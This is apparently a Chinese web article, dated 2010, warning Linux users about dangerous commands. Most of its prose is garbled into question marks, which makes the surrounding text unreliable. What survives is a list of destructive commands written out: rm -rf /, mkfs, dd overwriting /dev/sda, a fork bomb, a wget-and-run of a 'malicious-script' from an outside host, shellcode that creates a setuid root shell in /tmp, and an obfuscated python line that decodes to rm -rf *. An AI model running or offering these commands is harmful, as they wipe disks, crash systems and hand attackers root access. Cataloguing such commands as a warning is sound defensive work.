?????????е?10??Σ??Linux????
?????????? ???????[ 2010/2/21 14:42:59 ] ????????
?????г??????????????У????????ú????????У?????????????????????У????????????????????????????????????????????????????root?????????????????????????????
?????У?Linux ?????? Windows ???????У???????????????????????????????????????????????????? Linux ??????????????????????????????????????????????Щ????????壬??????а???????????????????????????Щ????????????????????????
????????? Linux ??????????????????? Linux ??????С??????????Linux ?????????Windows ????Linux ???????????????????????
??????????????????????????rm ?? -r ?????????? -f ?????????Σ??????????????????????????????????????
sudo rm -rf / ?????????????????
sudo rm -rf . ?????????μ????????
sudo rm -rf * ???
rm -rf * or rm -rf *.* ???
rm -rf ~ / & ???????????????????????root?????????????????
????????????? mkfs.xxxx ??xxxx ?????? vfat??ext2??ext3??bfs?????? ??????????????????????????????????????????
sudo mkfs.xxxx
dd ?????? IO ???????????????????ò????????????????????????????????????е??????????????
sudo dd if=/dev/zero of=/dev/sda ??????????
sudo dd if=/dev/sda of=/dev/sdb ???????????????????????????
sudo dd if=something of=/dev/sda ???????д?????????
???????????????????????????????????д?????????
any_command > /dev/sda ?????????????????
????? sda ??sdb ?????????????????????Linux ?? /dev ??????????????????????????????????????????????
fork ??????????????????? fork ????????????У???????????????????????
:(){:|:&};:
??β????????????????? Shell ????? fork ????????????????????ò?????????? bug????? Shell ??????д???д???????????????????
fork while fork
?е???????????????????????
?е?????????????????????????????????У????????????С??????????????????г???????С???????????????????????????е??????
?е??????????????С???????????????? GB ??????????????????????
?????????????????????????????а????????????Σ????????????У?
wget http://some_place/some_file
sh ./some_file
wget http://hax018r.org/malicious-script
sh ./malicious-script
??????????????棬???????????????????????
??????????????????????????У?
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
???濴?????????????????? 16 ????????????????????????????????????????????????????? root ???????????????????????????????е????rm -rf ~ / & ????
python ?????????????????????????????
python -c ??import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))??
??γ???????????? rm -rf *???????????????????β?? ??sn!.sg! ?? ???????????????? rm -rf * ???????????????
?????????α??????ж?????????
???????? root ???????????????????????????????????? root??Σ?????????Χ??С???
?????????Щ?????????????????????????e????С???????????????????????С?????????????
????????????????????????檔
??????????????????????????????????
??????????????????
??????
???·???
??????????????????
2023/3/23 14:23:39???д?ò??????????
2023/3/22 16:17:39????????????????????Щ??
2022/6/14 16:14:27??????????????????????????
2021/10/18 15:37:44???????????????
2021/9/17 15:19:29???·???????·
2021/9/14 15:42:25?????????????
2021/5/28 17:25:47??????APP??????????
2021/5/8 17:01:11